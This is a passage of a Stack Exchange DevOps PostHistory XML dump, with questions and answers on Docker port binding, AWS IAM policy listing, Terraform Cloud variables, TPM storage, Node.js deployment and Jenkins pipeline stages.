&quot;*.. Uber’s self-driving technology hadn’t been programmed to detect jaywalkers* [*at all*][14]&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Continuous_integration&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Continuous_delivery&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/DevOps&#xD;&#xA;  [4]: https://www.grunge.com/174465/the-untold-truth-of-the-woman-who-took-america-to-the-moon/&#xD;&#xA;  [5]: https://www.researchgate.net/publication/319141355_Is_100_Test_Coverage_a_Reasonable_Requirement_Lessons_Learned_from_a_Space_Software_Project&#xD;&#xA;  [6]: https://stackshare.io/spacex/spacex&#xD;&#xA;  [7]: https://boards.greenhouse.io/spacex/jobs/4301133002?gh_jid=4301133002&#xD;&#xA;  [8]: https://en.wikipedia.org/wiki/Denial-of-service_attack&#xD;&#xA;  [9]: https://blueorigin.wd5.myworkdayjobs.com/en-US/BlueOrigin/job/Kent-WA/Software-Development-Engineer-in-Test--SDET-_R2317&#xD;&#xA;  [10]: https://gitlab.com/groups/gitlab-org/-/issues&#xD;&#xA;  [11]: https://kurtmadel.com/posts/native-kubernetes-continuous-delivery/prow/&#xD;&#xA;  [12]: https://www.zdnet.com/article/automated-testing-comes-to-the-linux-kernel-kernelci/&#xD;&#xA;  [13]: https://en.wikipedia.org/wiki/Margaret_Hamilton_(software_engineer)&#xD;&#xA;  [14]: https://siliconangle.com/2019/11/06/ntsb-report-funds-uber-car-killed-pedestrian-caused-programming-error/" ContentLicense="CC BY-SA 4.0" />
  <row Id="29773" PostHistoryTypeId="1" PostId="9919" RevisionGUID="35e08795-656d-401d-9189-a57b88f41f58" CreationDate="2019-11-25T08:21:47.893" UserId="707" Text="Which CI/CD system do/would space companies like SpaceX use for continuous integration in their devops practice?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29774" PostHistoryTypeId="3" PostId="9919" RevisionGUID="35e08795-656d-401d-9189-a57b88f41f58" CreationDate="2019-11-25T08:21:47.893" UserId="707" Text="&lt;automation&gt;&lt;quality-cotrol&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29775" PostHistoryTypeId="2" PostId="9920" RevisionGUID="200f707c-191e-4129-9f78-3a8fa649495d" CreationDate="2019-11-25T08:47:25.880" UserId="11705" Text="The best way to have AWS CLI tooling installed to your custom agent is by installing from Visual Studio Marketplace. AWS CLI is part of AWS Tools for Azure DevOps Service and Azure DevOps Server (the on-premise Azure DevOps) under the name of &quot;AWS Tools for Microsoft Visual Studio Team Services&quot;.&#xD;&#xA;&#xD;&#xA;Installing this AWS Tools will enable AWS tooling on CI (build pipeline) and CD (release pipeline).&#xD;&#xA;&#xD;&#xA;This is the official landing page of AWS Tools in Visual Studio Marketplace: &#xD;&#xA;https://marketplace.visualstudio.com/items?itemName=AmazonWebServices.aws-vsts-tools&#xD;&#xA;&#xD;&#xA;Official documentation is available at: https://docs.aws.amazon.com/vsts/index.html&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29776" PostHistoryTypeId="5" PostId="9918" RevisionGUID="a002ef80-ce3e-40c8-b2d2-d569c6a5abc7" CreationDate="2019-11-25T08:59:49.670" UserId="210" Comment="deleted 19 characters in body" Text="I just experienced the same issue. It seems the eksctl that is being installed upon first use is not working for me. I went to the eksctl site and installed it from there (https://eksctl.io/introduction/installation/)&#xD;&#xA;&#xD;&#xA;With the jx eksctl binary : &#xD;&#xA;&#xD;&#xA;    ➜  ~ jx create cluster eks --cluster-name=konsek-cloud --skip-installation=true --verbose&#xD;&#xA;    DEBUG: eksctl is already available on your PATH at /Users/&lt;user&gt;/.jx/bin/eksctl&#xD;&#xA;    DEBUG: aws-iam-authenticator is already available on your PATH at /Users/&lt;user&gt;/.jx/bin/aws-iam-authenticator&#xD;&#xA;    DEBUG: Dependencies to be installed: &#xD;&#xA;    DEBUG: kubectl is already available on your PATH at /usr/local/bin/kubectl&#xD;&#xA;    DEBUG: helm is already available on your PATH at /usr/local/bin/helm&#xD;&#xA;    DEBUG: brew is already available on your PATH at /usr/local/bin/brew&#xD;&#xA;    error: exit status 1&#xD;&#xA;&#xD;&#xA;With the manually installed binary : &#xD;&#xA;&#xD;&#xA;    ➜  ~ jx create cluster eks --cluster-name=konsek-cloud --skip-installation=true --verbose&#xD;&#xA;    DEBUG: eksctl is already available on your PATH at /usr/local/bin/eksctl&#xD;&#xA;    DEBUG: aws-iam-authenticator is already available on your PATH at /usr/local/bin/aws-iam-authenticator&#xD;&#xA;    DEBUG: Dependencies to be installed: &#xD;&#xA;    DEBUG: kubectl is already available on your PATH at /usr/local/bin/kubectl&#xD;&#xA;    DEBUG: helm is already available on your PATH at /usr/local/bin/helm&#xD;&#xA;    DEBUG: brew is already available on your PATH at /usr/local/bin/brew&#xD;&#xA;    Creating EKS cluster - this can take a while so please be patient...&#xD;&#xA;    ... " ContentLicense="CC BY-SA 4.0" />
  <row Id="29779" PostHistoryTypeId="2" PostId="9921" RevisionGUID="37c2b487-b644-4234-89ad-20af78de649d" CreationDate="2019-11-25T09:53:41.513" UserId="17643" Text="I'm working with Docker containers for a while know, but I do not notice, what I am doing wrong here:&#xD;&#xA;&#xD;&#xA;In my current folder on the host system, I have a simple `index.php` file which contains:&#xD;&#xA;&#xD;&#xA;    &lt;?php echo 'hi'; ?&gt;&#xD;&#xA;&#xD;&#xA;Why is this not working?&#xD;&#xA;&#xD;&#xA;    docker run --name php -v $(pwd):/app -w /app -p 8080:8080 -d --rm php:cli php -S localhost:8080 -t . index.php&#xD;&#xA;&#xD;&#xA;This results in an empty reply:&#xD;&#xA;&#xD;&#xA;    $ curl localhost:8080                                                                                                                                             &#xD;&#xA;    curl: (52) Empty reply from server&#xD;&#xA;&#xD;&#xA;If I `exec` in the container and apply the `curl` there it succeeds in replying `hi`.&#xD;&#xA;&#xD;&#xA;So, what am I missing?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29780" PostHistoryTypeId="1" PostId="9921" RevisionGUID="37c2b487-b644-4234-89ad-20af78de649d" CreationDate="2019-11-25T09:53:41.513" UserId="17643" Text="docker container does not open port for php:latest" ContentLicense="CC BY-SA 4.0" />
  <row Id="29781" PostHistoryTypeId="3" PostId="9921" RevisionGUID="37c2b487-b644-4234-89ad-20af78de649d" CreationDate="2019-11-25T09:53:41.513" UserId="17643" Text="&lt;docker&gt;&lt;php&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29782" PostHistoryTypeId="2" PostId="9922" RevisionGUID="d05c67b4-d45a-45f5-bc3d-a8e9a89fc195" CreationDate="2019-11-25T10:35:21.513" UserId="16683" Text="Try to use `php -S 0.0.0.0:8080`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run --name php -v $(pwd):/app -w /app -p 8080:8080 -d --rm php:cli php -S 0.0.0.0:8080 -t . index.php&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29783" PostHistoryTypeId="2" PostId="9923" RevisionGUID="3a44267c-75bc-4ffa-8f4d-abbfcc57c72a" CreationDate="2019-11-25T10:53:25.617" UserId="2708" Text="For monitoring, I set up CloudWatch alerts based on [CloudWatch anomaly detection][1]. Overall, they work quite nicely, but they got confused when the clock gets shifted (summer timer to winter time).&#xD;&#xA;&#xD;&#xA;We have now recurring false-positives even though the recent time shift in the US and in Europe were weeks ago. I assume CloudWatch will eventually understand it, but then again, the clock shifts have on a regular basis, which will create some noisy.&#xD;&#xA;&#xD;&#xA;Unfortunately, I did not find much in the documentation, only that CloudWatch provides to set the `Time Zone Format`. Before I leaved it empty, but now I set it to UTC.&#xD;&#xA;&#xD;&#xA;**Questions:**&#xD;&#xA;&#xD;&#xA;* What is exactly the effect of setting the time zone? Does it have an impact on the prediction of the anomaly detector, or is it only for visualization and for other configurations such as excluding specified time periods?&#xD;&#xA;* Our user base is all over the world, but mostly in the US and in Europe. As this scenario is not too uncommon, I wonder if asking for one one time zone is even practical. What should be used? UTC? Or pick the time zone with the most users?&#xD;&#xA;&#xD;&#xA;I understand that it difficult to avoid false-positives completely, especially, in the first or second week after a clock shift happened. Still, I wonder how to correctly setup up the anomaly detection model, so its prediction will be most accurate.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch_Anomaly_Detection.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="29784" PostHistoryTypeId="1" PostId="9923" RevisionGUID="3a44267c-75bc-4ffa-8f4d-abbfcc57c72a" CreationDate="2019-11-25T10:53:25.617" UserId="2708" Text="Mitigate false positives due to daylight saving time in CloudWatch anomaly dectector" ContentLicense="CC BY-SA 4.0" />
  <row Id="29785" PostHistoryTypeId="3" PostId="9923" RevisionGUID="3a44267c-75bc-4ffa-8f4d-abbfcc57c72a" CreationDate="2019-11-25T10:53:25.617" UserId="2708" Text="&lt;amazon-web-services&gt;&lt;amazon-cloudwatch&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29786" PostHistoryTypeId="33" PostId="9909" RevisionGUID="8f6fd8ce-0dad-4a39-ad14-994c29eefdf4" CreationDate="2019-11-25T14:07:20.223" UserId="18304" Comment="44" />
  <row Id="29787" PostHistoryTypeId="5" PostId="9922" RevisionGUID="0fa8a37c-ef03-467c-ab33-05c2989d6678" CreationDate="2019-11-25T14:47:02.223" UserId="16683" Comment="added 1135 characters in body" Text="Try to use `php -S 0.0.0.0:8080`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run --name php -v $(pwd):/app -w /app -p 8080:8080 -d --rm php:cli php -S 0.0.0.0:8080 -t . index.php&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;*Explanation*:&#xD;&#xA;&#xD;&#xA;The `localhost`(or `127.0.0.1`) address is attached to the container namespace, so anything outside of this namespace cannot have access to it. Furthermore, the `0.0.0.0` (in this context) is a specific address that means *all IPv4 addresses on the local machine*. If you check inside the container, you could see:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ ip a&#xD;&#xA;lo:&#xD;&#xA;    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xD;&#xA;    inet 127.0.0.1/8 scope host lo&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;eth0:&#xD;&#xA;    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0&#xD;&#xA;    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The `eth0` interface is the interface used when you forward the port. As you don't specify the IP address of the container, you can use the `0.0.0.0` to listen on the `eth0` interface.&#xD;&#xA;&#xD;&#xA;I don't know if I make my self clear, but you can (should) read this if you want to know more:&#xD;&#xA;&#xD;&#xA;- https://pythonspeed.com/articles/docker-connection-refused/&#xD;&#xA;- https://superuser.com/questions/949428/whats-the-difference-between-127-0-0-1-and-0-0-0-0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29788" PostHistoryTypeId="2" PostId="9924" RevisionGUID="feed0458-d2c5-4b52-8184-e8afda77cce7" CreationDate="2019-11-25T14:51:04.307" UserId="17508" Text="&#xD;&#xA;Yes, the `PersistentVolumeClaim` is the workhorse here. You can evict pods, delete deployments, etc., to your heart's content and so long as you don't delete the PVC, your data will be there.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You don't need to use `StatefulSet` for this.  From the docs:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Unlike a Deployment, a StatefulSet maintains a sticky identity for each of their Pods. These pods are created from the same spec, but are not interchangeable: each has a persistent identifier that it maintains across any rescheduling.&#xD;&#xA;```&#xD;&#xA;https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/&#xD;&#xA;&#xD;&#xA;You might want that anyway, but it does nothing for keeping your PV/PVCs around.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29792" PostHistoryTypeId="2" PostId="9926" RevisionGUID="71cc7fa6-e35c-44f7-8448-54638e1f14a8" CreationDate="2019-11-25T16:40:31.720" UserId="15792" Text="If you are looking to get the results for a single user then you want [list-attached-user-policies][1].  However, this will result in the value being returned as json.  To get it into a csv style format check out the guide on how to [control the CLI output][2].  You should be able to get the output into a delimited format for programmatic parsing.  I do not believe you'll be able to generate an .xlsx file directly from the AWS CLI.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/cli/latest/reference/iam/list-attached-user-policies.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/cli/latest/userguide/cli-usage-output.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="29793" PostHistoryTypeId="2" PostId="9927" RevisionGUID="38e7d038-866e-453b-8937-c2a2f26ce03e" CreationDate="2019-11-25T16:51:15.450" UserId="6341" Text="Try this solution: [Pull Request Merge Conflict Extension][1]. It helps to resolve conflicts inside the pull request page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://marketplace.visualstudio.com/items?itemName=ms-devlabs.conflicts-tab" ContentLicense="CC BY-SA 4.0" />
  <row Id="29794" PostHistoryTypeId="2" PostId="9928" RevisionGUID="48b4ed17-f7ad-48cc-8232-383a28270821" CreationDate="2019-11-25T17:04:20.697" UserId="12138" Text="You can use the below command to get all the policy attached to an iam user. (You must be having permissions to list-users and list-user-policies before using the below commands)&#xD;&#xA;&#xD;&#xA;    aws iam list-attached-user-policies --user-name username | jq -r '.AttachedPolicies[].PolicyArn' | awk -F'policy/' {'print $NF'}&#xD;&#xA;&#xD;&#xA;(Make sure to replace `username` with some actual iam username in the above command)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you want to get the list of all users and user-policies attached to those users, you can use the below one line command. The below command will get all the `iam users` and then will find the `user-policies` attached to that user and will put in a CSV file. The first column will contain `username` and second column will contain `policies separated by spaces. &#xD;&#xA;&#xD;&#xA;    for u_name in $(aws iam list-users | jq -r '.Users[].UserName') ; do permissions=&quot;$(aws iam list-attached-user-policies --user-name ${u_name} | jq -r '.AttachedPolicies[].PolicyArn' | awk -F'policy/' {'print $NF'} | tr '\n' ' ')&quot; ; echo &quot;${u_name}, ${permissions}&quot; &gt;&gt; iam_users.csv ; done&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29795" PostHistoryTypeId="2" PostId="9929" RevisionGUID="a05abf0c-fb5d-4a8f-a592-822c8f615dc5" CreationDate="2019-11-25T17:51:35.597" UserId="18159" Text="I'm very new to kubernetes. I thought i would first get a basic by making hands dirty by &quot;the hard way&quot;&#xD;&#xA;I followed the Linux academy, but at the networking side using weave net i am now stuck !&#xD;&#xA;completely stuck !&#xD;&#xA;&#xD;&#xA;kubectl get pods -n kube-system  --&gt;getting the following crash loop back&#xD;&#xA;&#xD;&#xA;weave-net-px6z7   1/2       CrashLoopBackOff   14         37m       &#xD;&#xA;weave-net-zngp6   1/2       Error              15         37m    &#xD;&#xA;&#xD;&#xA;some logs for investigating&#xD;&#xA;kubectl -n kube-system logs weave-net-px6z7 -c weave-npc&#xD;&#xA;&#xD;&#xA;got &#xD;&#xA; Get https://10.32.0.1:443/apis/networking.k8s.io/v1/networkpolicies?limit=500&amp;resourceVersion=0: dial tcp 10.32.0.1:443: i/o timeout&#xD;&#xA;&#xD;&#xA;Not sure what it means ? any one can save me ?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29796" PostHistoryTypeId="1" PostId="9929" RevisionGUID="a05abf0c-fb5d-4a8f-a592-822c8f615dc5" CreationDate="2019-11-25T17:51:35.597" UserId="18159" Text="Weavenet for kubernetes is showing 0/2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29797" PostHistoryTypeId="3" PostId="9929" RevisionGUID="a05abf0c-fb5d-4a8f-a592-822c8f615dc5" CreationDate="2019-11-25T17:51:35.597" UserId="18159" Text="&lt;kubernetes&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29798" PostHistoryTypeId="2" PostId="9930" RevisionGUID="19be67cf-11a4-471e-8142-1ce0150fc641" CreationDate="2019-11-25T18:03:18.523" UserId="2463" Text="You can use [the Terraform Cloud provider](https://registry.terraform.io/providers/hashicorp/tfe/0.11.1) to manage workspace configuration in Terraform Cloud in the same way as you might manage any other infrastructure objects with Terraform. For historical reasons the provider is named `tfe`, but it can be used to manage both Terraform Enterprise and Terraform Cloud.&#xD;&#xA;&#xD;&#xA;In particular, you can use [the `tfe_variable` resource type](https://registry.terraform.io/providers/hashicorp/tfe/0.11.1/docs/resources/variable) to manage both Terraform variables and environment variables for a workspace:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;variable &quot;environment_variables&quot; {&#xD;&#xA;  type = map(string)&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;variable &quot;workspace_id&quot; {&#xD;&#xA;  type = string&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;provider &quot;tfe&quot; {&#xD;&#xA;  hostname = &quot;app.terraform.io&quot; # Terraform Cloud&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;tfe_variable&quot; &quot;test&quot; {&#xD;&#xA;  for_each = var.environment_variables&#xD;&#xA;&#xD;&#xA;  key          = each.key&#xD;&#xA;  value        = each.value&#xD;&#xA;  category     = &quot;env&quot;&#xD;&#xA;  workspace_id = var.workspace_id&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;To integrate this with the script you've already written, you could perhaps use PowerShell's JSON encoder to produce a file `azure.tfvars.json` with content like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;workspace_id&quot;: &quot;organization/workspace&quot;,&#xD;&#xA;  &quot;environment_variables&quot;: {&#xD;&#xA;    &quot;ARM_CLIENT_ID&quot;: &quot;...&quot;,&#xD;&#xA;    &quot;ARM_CLIENT_SECRET&quot;: &quot;...&quot;,&#xD;&#xA;    &quot;ARM_SUBSCRIPTION_ID&quot;: &quot;...&quot;,&#xD;&#xA;    &quot;ARM_TENANT_ID&quot;: &quot;...&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can then run the above Terraform configuration using a command like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;terraform apply -var-file=azure.tfvars.json&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When considering automation of this sort it's worth considering where the Terraform state snapshots for this &quot;early&quot; Terraform configuration would live. You could potentially create an additional Terraform Cloud workspace for this special configuration and be sure to configure it to _not_ use remote operations, so that a local run of this one workspace can then arrange for your other workspace to support remote operations.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29799" PostHistoryTypeId="2" PostId="9931" RevisionGUID="07561123-6a1b-4ec8-ad00-89cbee44a154" CreationDate="2019-11-25T18:30:00.680" UserId="18372" Text="I think that the statment &quot;to store the Vault's data in TPM&quot; is *not* valid.  The TPM is generally not for storage.  There are some slots for storing some values and likely some persitent keys, but it is only a handful. I think TPM 2.0 maybe has more storage than 1.2, which I'm more familiar with, but it is *not* a storage device.  It really depends on what and how much of it you need to store.&#xD;&#xA;&#xD;&#xA;So while there might be a solution using &quot;on-chip&quot; TPM memory, it is scarce and really slow. The more common pattern is the use the TPM to wrap the keys or data, such that it can be stored in an encrypted blob on actual storage, like disk or network, and only safely unwrapped on THAT MACHINE.&#xD;&#xA;&#xD;&#xA;The TPM is not really a &quot;crypto co-processor&quot; nor is it a storage device. It's slow and has minimal resources, for cost.&#xD;&#xA;&#xD;&#xA;Having clarified that, it probably is valid to use the TPM, in the proper way, to help securely store the application data, it just depends on how much work it is for you.&#xD;&#xA;&#xD;&#xA;Also, if the data doesn't need to be specifically tied to that specific machine, or that specific container, or the installation is on a VM, and the VM might spin up on different hardware, then using the TPM doesn't really make sense because it is a root-of-trust for a specific platform, a specific board or machine." ContentLicense="CC BY-SA 4.0" />
  <row Id="29800" PostHistoryTypeId="2" PostId="9932" RevisionGUID="df7bdd9b-9a79-4628-a66e-87d4b4d17c3c" CreationDate="2019-11-25T18:45:32.887" UserId="17508" Text="weave-net is trying unsuccessfully to talk to the apiserver at 10.32.0.1 (port 443). Verify your master node is indeed at that IP address, it has network connectivity to the node where this is barfing, and that the firewall on the master node has port 443 open.&#xD;&#xA;&#xD;&#xA;If they are all running on the same host, verify the apiserver is running." ContentLicense="CC BY-SA 4.0" />
  <row Id="29801" PostHistoryTypeId="5" PostId="9931" RevisionGUID="4d4966d4-adf8-444f-b35a-dcb0823b2903" CreationDate="2019-11-25T18:53:33.403" UserId="18372" Comment="added more information in the summary and a disclaimer." Text="I think that the statment &quot;to store the Vault's data in TPM&quot; is *not* valid.  The TPM is generally not for storage.  There are some slots for storing some values and likely some persitent keys, but it is only a handful. I think TPM 2.0 maybe has more storage than 1.2, which I'm more familiar with, but it is *not* a storage device.  It really depends on what and how much of it you need to store.&#xD;&#xA;&#xD;&#xA;So while there might be a solution using &quot;on-chip&quot; TPM memory, it is scarce and really slow. The more common pattern is the use the TPM to wrap the keys or data, such that it can be stored in an encrypted blob on actual storage, like disk or network, and only safely unwrapped on THAT MACHINE.&#xD;&#xA;&#xD;&#xA;The TPM is not really a &quot;crypto co-processor&quot; nor is it a storage device. It's slow and has minimal resources, for cost.&#xD;&#xA;&#xD;&#xA;Having clarified that, it probably is valid to use the TPM, in the proper way, to help securely store the application data, it just depends on how much work it is for you.&#xD;&#xA;&#xD;&#xA;Also, if the data doesn't need to be specifically tied to that specific machine, or that specific container, or the installation is on a VM, and the VM might spin up on different hardware, then using the TPM doesn't really make sense because it is a root-of-trust for a specific platform, a specific board or machine.&#xD;&#xA;&#xD;&#xA;So to be semantically picky:&#xD;&#xA;&#xD;&#xA; 1. Storing the Vault data ***in*** the TPM: not valid &#xD;&#xA; 2. Storing the Vault data ***with*** the TPM: valid (potentially)&#xD;&#xA;&#xD;&#xA;Disclaimer:  I don't know anything about Vault or the data you want to store.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29805" PostHistoryTypeId="2" PostId="9934" RevisionGUID="174d7691-2f03-4056-82e4-d2f3ecd99d53" CreationDate="2019-11-25T23:26:31.147" UserId="2708" Text="I'm not aware of a project that provides that out of the box. For local development, it is common to have hot reload. If something at the file level changes, it restarts the server. That is somewhat related, as you could trigger the updates on the file system remotely. Installing libraries could also be simulated by directly updating the  `node_modules` folder.&#xD;&#xA;&#xD;&#xA;Beside that NodeJs itself provides ways to run arbitrary code without process restarts. One way is to use `eval` (as part of JavaScript). The other is to reload a file. Normally, `require` caches the file after it executed it, but you can purge this cache (`require.cache`), and `require` the file again. That is what the [decache][1] library does.&#xD;&#xA;&#xD;&#xA;In theory, NodeJs provides all the tools to allow remote code being applied. Of course, from a security perspective, you open yourself to all kind of attacks. Make sure requests come from a trusted source.&#xD;&#xA;&#xD;&#xA;&gt; But for web-delivery, I think a workflow for deploying a node.js-centric application and keeping it up to date would use some other mechanism. What is that mechanism? If docker is the way, then maybe I just need to refocus my question to find out how to auto-update docker containers&#xD;&#xA;&#xD;&#xA;I would also see it less as a matter of updating a NodeJs application (driven by the application itself), but rather as  of a good deployment pipeline (driven from outside). In the end, deployment is nothing else than pushing changes to production.&#xD;&#xA;&#xD;&#xA;There are a variety of deployment approaches for NodeJs applications:&#xD;&#xA;&#xD;&#xA;* Classic deployment on a server&#xD;&#xA;* Docker based deployments (e.g., [Kubernetes][2])&#xD;&#xA;* Serverless (e.g., [AWS Lambda][3], [Serverless Framework][4])&#xD;&#xA;* Platform as a service (e.g., [Heroku][5])&#xD;&#xA;&#xD;&#xA;If you are not sure, the easiest to get started with are serverless deployments (supported on all major providers: AWS Lambdas, Google Cloud Functions, Azure Functions), or platform as a service solutions (e.g., Heroku). Kubernetes (as a popular framework for deploying Docker containers) is powerful, but has a steep learning curve.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.npmjs.com/package/decache&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Kubernetes&#xD;&#xA;  [3]: https://aws.amazon.com/lambda/&#xD;&#xA;  [4]: https://github.com/serverless/serverless&#xD;&#xA;  [5]: https://devcenter.heroku.com/articles/deploying-nodejs" ContentLicense="CC BY-SA 4.0" />
  <row Id="29813" PostHistoryTypeId="5" PostId="9887" RevisionGUID="41536359-3000-4b6b-90e6-1b3f6db9480c" CreationDate="2019-11-26T02:47:53.873" UserId="18317" Comment="Added an example Jenkinsfile for sequential stage addition." Text="In declarative pipelines, Jenkins allows the definition of [parallel stages](https://jenkins.io/doc/book/pipeline/syntax/#parallel). It further allows [scripted pipeline general purpose scripts](https://jenkins.io/doc/book/pipeline/syntax/#script) to create and manipulate the artifacts of the declarative pipeline. For example, it can create `stages` dynamically.&#xD;&#xA;&#xD;&#xA;I would like to know how I can *dynamically* create *parallel executing stages*. Please note I am not talking about *steps* or actions, which are solved here:&#xD;&#xA;&#xD;&#xA;https://devops.stackexchange.com/questions/3073/how-to-properly-achieve-dynamic-parallel-action-with-a-declarative-pipeline&#xD;&#xA;&#xD;&#xA;Below is a simple Jenkinsfile that dynamically adds stages using groovy code. These stages are sequential. I would like a Jenkinsfile that adds stages dynamically as below, but uses the `parallel` construct at the `stage` level. As a result, three stages that run parallel should be generated by the program.&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;pipeline {&#xD;&#xA;&#xD;&#xA;	agent any&#xD;&#xA;&#xD;&#xA;	stages {&#xD;&#xA;&#xD;&#xA;		stage('Add regression tests') {&#xD;&#xA;			steps {&#xD;&#xA;				addStage('offline','open-source','webgoat')&#xD;&#xA;				addStage('offline','open-source','juice-shop')&#xD;&#xA;				addStage('online','internal','our-website')&#xD;&#xA;			}&#xD;&#xA;		}&#xD;&#xA;	}&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;final void addStage(final String type, final String suite,final String application) {&#xD;&#xA;	script {&#xD;&#xA;		stage(&quot;Run ${type} application  '\n${application}' in test suite '${suite}'&quot;) {&#xD;&#xA;&#xD;&#xA;			runTestOnApplication(type,suite,application)&#xD;&#xA;&#xD;&#xA;		}&#xD;&#xA;	}&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;final void runTestOnApplication(final String type, final String suite,final String application) {&#xD;&#xA;	labelledShell label: &quot;Run test shell script for ${type} application '${application}' in test suite '${suite}'&quot;, script: 'test.bash'&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29814" PostHistoryTypeId="5" PostId="5179" RevisionGUID="4debc2f3-566c-4df4-96ae-d58a60a97d97" CreationDate="2019-11-26T05:11:08.413" UserId="-1" Comment="improved formatting" Text="Use this command: &#xD;&#xA;```&#xD;&#xA;docker-compose up --build&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29815" PostHistoryTypeId="24" PostId="5179" RevisionGUID="4debc2f3-566c-4df4-96ae-d58a60a97d97" CreationDate="2019-11-26T05:11:08.413" Comment="Proposed by 88.130.4.119|964966c1-07f7-48db-9ecd-4bee4eaf5cdb approved by 15792, 40 edit id of 1122" ContentLicense="CC BY-SA 4.0" />
  <row Id="29816" PostHistoryTypeId="11" PostId="9887" RevisionGUID="672f6c20-2ad8-4628-8571-b04e226acf83" CreationDate="2019-11-26T05:13:01.487" UserId="40" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="29822" PostHistoryTypeId="2" PostId="9938" RevisionGUID="9c13b968-bab3-4d75-93bb-56f9c24ad6aa" CreationDate="2019-11-26T06:41:54.897" UserId="18385" Text="# Logon on the master where you have the issue&#xD;&#xA;ssh jenkins-machine&#xD;&#xA;# Shutdown the jenkins master (take care that nothing is running)&#xD;&#xA;sudo service jenkins stop&#xD;&#xA;# Find all erroneous directories&#xD;&#xA;find /var/lib/jenkins/jobs -type d \( -name &quot;last*Build&quot; -o -name &quot;lastStable&quot; -o -name &quot;lastSuccessful&quot; \)&#xD;&#xA;# Review the list of erroneous directories&#xD;&#xA;# Rename them&#xD;&#xA;find /var/lib/jenkins/jobs -type d \( -name &quot;last*Build&quot; -o -name &quot;lastStable&quot; -o -name &quot;lastSuccessful&quot; \) -exec mv {} {}.err \;&#xD;&#xA;# Restart jenkins&#xD;&#xA;sudo service jenkins start&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;delete these err files if jenkins server is successful." ContentLicense="CC BY-SA 4.0" />
  <row Id="29832" PostHistoryTypeId="5" PostId="9938" RevisionGUID="311e84f0-9b5a-422c-8730-dd1589ff2519" CreationDate="2019-11-26T11:03:49.930" UserId="354" Comment="Fixed formatting" Text="1. Log on on the master where you have the issue: `ssh jenkins-machine`&#xD;&#xA;1. Shutdown the jenkins master (take care that nothing is running) `sudo service jenkins stop`&#xD;&#xA;1. Find all erroneous directories: `find /var/lib/jenkins/jobs -type d \( -name &quot;last*Build&quot; -o -name &quot;lastStable&quot; -o -name &quot;lastSuccessful&quot; \)`&#xD;&#xA;1. Review the list of erroneous directories&#xD;&#xA;1. Rename them&#xD;&#xA;`find /var/lib/jenkins/jobs -type d \( -name &quot;last*Build&quot; -o -name &quot;lastStable&quot; -o -name &quot;lastSuccessful&quot; \) -exec mv {} {}.err \;`&#xD;&#xA;1. Restart jenkins: `sudo service jenkins start`&#xD;&#xA;1 delete these err files if jenkins server is successful." ContentLicense="CC BY-SA 4.0" />
